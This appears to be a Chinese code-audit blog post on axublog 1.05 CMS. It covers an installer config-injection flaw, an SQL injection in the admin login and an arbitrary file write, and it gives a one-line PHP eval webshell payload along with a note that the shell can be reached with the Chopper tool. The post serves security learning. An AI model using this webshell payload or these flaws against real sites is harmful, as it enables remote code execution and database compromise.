00x1 安装漏洞

  install/cmsconfig.php

 function step4(){
$root=$_POST["root"];
$dbuser=$_POST["dbuser"];
$dbpsw=$_POST["dbpsw"];
$dbname=$_POST["dbname"];
$tabhead=$_POST["tabhead"]; $ad_user=$_POST["ad_user"];
$ad_psw=$_POST["ad_psw"]; $webname=$_POST["webname"];
$weburl=$_POST["weburl"];
$webinfo=$_POST["webinfo"];
$webkeywords=$_POST["webkeywords"];
$webauthor=$_POST["webauthor"];

这几个都是可控的,并没有进行任何处理。然后传到了$text2,然后又写到了cmsconfig.php当中。

 $file="config_empty.php";
$fp=fopen($file,"r"); //以写入方式打开文件
$text2=fread($fp,4096); //读取文件内容
$text2=str_replace('@root@',$root,$text2);
$text2=str_replace('@dbuser@',$dbuser,$text2);
$text2=str_replace('@dbpsw@',$dbpsw,$text2);
$text2=str_replace('@dbname@',$dbname,$text2);
$text2=str_replace('@tabhead@',$tabhead,$text2);
$text2=str_replace('@webname@',$webname,$text2);
$text2=str_replace('@weburl@',$weburl,$text2);
$text2=str_replace('@webinfo@',$webinfo,$text2);
$text2=str_replace('@webkeywords@',$webkeywords,$text2);
$text2=str_replace('@webauthor@',$webauthor,$text2);
$file="../cmsconfig.php"; //定义文件
$fp=fopen($file,"w"); //以写入方式打开文件
fwrite($fp,$text2);
@unlink("goinstall.php");

这个漏洞比较简单,直接在配置信息中填写一句话闭合就可以getshell了。

POC:"@eval($_POST['xishaonian'])

然后菜刀直接连接就cmsconfig.php即可。

注:该漏洞也在后台直接可以插一句话


 00x2 SQL注入

ad/admin.php

 chkoutpost();
$ad_user=$_POST["ad_user"];
$ad_psw=$_POST["ad_psw"];$ad_psw = authcode(@$ad_psw, 'ENCODE', 'key',);
global $tabhead;
$tab=$tabhead."adusers";
mysql_select_db($tab);
$sql = mysql_query("select * from ".$tab." where adnaa='".$ad_user."'");

很简答可以看到$ad_user没有过滤。直接性导致sql注入。


00x3

 <?php
function edit2save(){
global $themepath;
?>
<div class="yj_green" id=full>
<b class="b1"></b><b class="b2"></b><b class="b3"></b><b class="b4"></b>
<div class="boxcontent">
<h2><a href="?">主题管理</a> > <a href="javascript:history.go(-2)">编辑主题</a> > 编辑文件 > <a href="javascript:history.back()">返回</a></h2>
</div>
<div class="t1"><div class="t2">
<?php
$path=$_REQUEST['path'];
$content=stripslashes($_REQUEST['content']);
?>
<p>编辑文件:<?=$path?></p>
<?php
if($path==''){echo'文件路径错误!';exit;} if(file_put_contents ($path, $content)){echo"保存文件成功!";}
else{echo"保存文件失败!";}
?> </div></div>
<b class="b4b"></b><b class="b3b"></b><b class="b2b"></b><b class="b1b"></b>
</div>

axublog 1.05代码审计的更多相关文章

  1. PHP代码审计05之正则使用不当

    前言 根据红日安全写的文章,学习PHP代码审计的第五节内容,题目均来自PHP SECURITY CALENDAR 2017,讲完题目会用一道CTF的题目和实例来加深巩固.这是之前写的,有兴趣可以去看看 ...

  2. auxblogcms1.0.6|代码审计

    这周的审计任务,两天前的任务呀~拖延症呀~ 这次审计一个博客----auxblogcms1.0.6,网上也有所记载,我下面会做个总结. axublog是一款php个人博客系统,小巧强大的PHP+MyS ...

  3. 代码审计之XiaoCms(后台任意文件上传至getshell,任意目录删除,会话固定漏洞)

    0x00 前言 这段时间就一直在搞代码审计了.针对自己的审计方法做一下总结,记录一下步骤. 审计没他,基础要牢,思路要清晰,姿势要多且正. 下面是自己审计的步骤,正在逐步调整,寻求效率最高. 0x01 ...

  4. axublogcms1.0.6|代码审计

    这周的审计任务,两天前的任务呀~拖延症呀~ 这次审计一个博客----auxblogcms1.0.6,网上也有所记载,我下面会做个总结. axublog是一款php个人博客系统,小巧强大的PHP+MyS ...

  5. [代码审计]XiaoCms(后台任意文件上传至getshell,任意目录删除,会话固定漏洞)

    0x00 前言 这段时间就一直在搞代码审计了.针对自己的审计方法做一下总结,记录一下步骤. 审计没他,基础要牢,思路要清晰,姿势要多且正. 下面是自己审计的步骤,正在逐步调整,寻求效率最高. 0x01 ...

  6. PHP代码审计基础-初级篇

    对于php代码审计我也是从0开始学的,对学习过程进行整理输出沉淀如有不足欢迎提出共勉.对学习能力有较高要求,整个系列主要是在工作中快速精通php代码审计,整个学习周期5天 ,建议花一天时间熟悉php语 ...

  7. ESPCMS-Seay自动加手工代码审计

    ESPcms代码审计 源码下载地址:http://yesky.91speed.org.cn/sw/180001_190000/rar/espcms_utf8_5.4.12.05.14.rar 1.自动 ...

  8. 代码审计系列题目CTFD部署(上)

    关于简单部署题目请参考:https://www.cnblogs.com/Cl0ud/p/13783325.html 如果需要进行较复杂部署,可参考本篇 PHP代码审计系列题目的部署,较之前的部署方案, ...

  9. 代码审计【根据功能点定向审计】BugFree ZSWin重装案例

    (哦对了!这些CMS代码不要安装在服务器上,先不说它们用来代码审计本身就是有漏洞的,而且在网上下载下来,也不能保证没有源码是否被篡改而留有后门,就安装在本地进行代码审计的练习即可) 我们先下载BugF ...

随机推荐

  1. 【java】浅析java组件中的布局管理器

    这篇博文笔者介绍一下java组件中,常用的布局管理器.java组件中的布局方式有好几十种,所有的这些布局管理器都实现了java.awt.LayoutManager接口.接下来笔者介绍一下常用的5种布局 ...

  2. 两段检验系统生成的identityHashCode是否重复的代码

    前言:承接上一篇hashCode和identityHashCode 的关系,下面的两段简单的程序主要是检验一下系统生成的identityHashCode是否存在重复的情况. 1:可以自由控制生成对象的 ...

  3. 那些令人喷饭的代码注释:仅以此代码献给...it's realy ?

    程序源代码中的注释经常是一个卧虎藏龙的地方,有人就很喜欢写幽默搞笑的注释内容.解释代码含义的同时,也带给人轻松神经的机会,确实是很有意思的风格,来看看这一辑国外某公司产品中的注释. 注意:看的时候严禁 ...

  4. Windows中"打开方式..."无法指定程序的解决办法

    Windows真DT, 今天升级了vim, 从vim73到vim74, 突然发现右键菜单打开方式中的VIM不见了, 于是手动重新指定到vim74\gvim.exe, 未果, Windows就直接忽略了 ...

  5. 简单获取cpu使用率,以及后台运行的问题

    做了一个运维平台,有一个功能定时执行一个脚本,获取cpu使用率和内存使用情况到监控平台. 获取cpu使用率使用的是top中的信息.直接运行没有问题.通过nohup xxx.sh & 之后获取不 ...

  6. SharePoint 2013 实现多级审批工作流

    上一篇介绍了安装和配置SharePoint 2013 Workflow,这一篇将用SharePoint 2013 Designer Workflow来实现一个多级审批工作流. 审批工作流介绍 这个De ...

  7. FreeSWITCH呼叫参数之sip_cid_type

    这个参数定义了呼叫中主叫信息的头字段类型.支持两种类型: 1. rpidRemote-Party-ID头,这是默认的设置.{sip_cid_type=rpid}sofia/default/user@e ...

  8. 温故而知新:柯里化 与 bind() 的认知

    什么是柯里化?科里化是把一个多参数函数转化为一个嵌套的一元函数的过程.(简单的说就是将函数的参数,变为多次入参) const curry = (fn, ...args) => fn.length ...

  9. glide 镜像

    运行glide install 失败  国内墙的原因, 某些网站上不去 [ERROR]Update failed for golang.org/x/crypto: Cannot detect VCS ...

  10. Python语言的有限状态机实现样例

    #!/usr/bin/env python3 class Connection(object): def __init__(self): self.change_state(ClosedConnect ...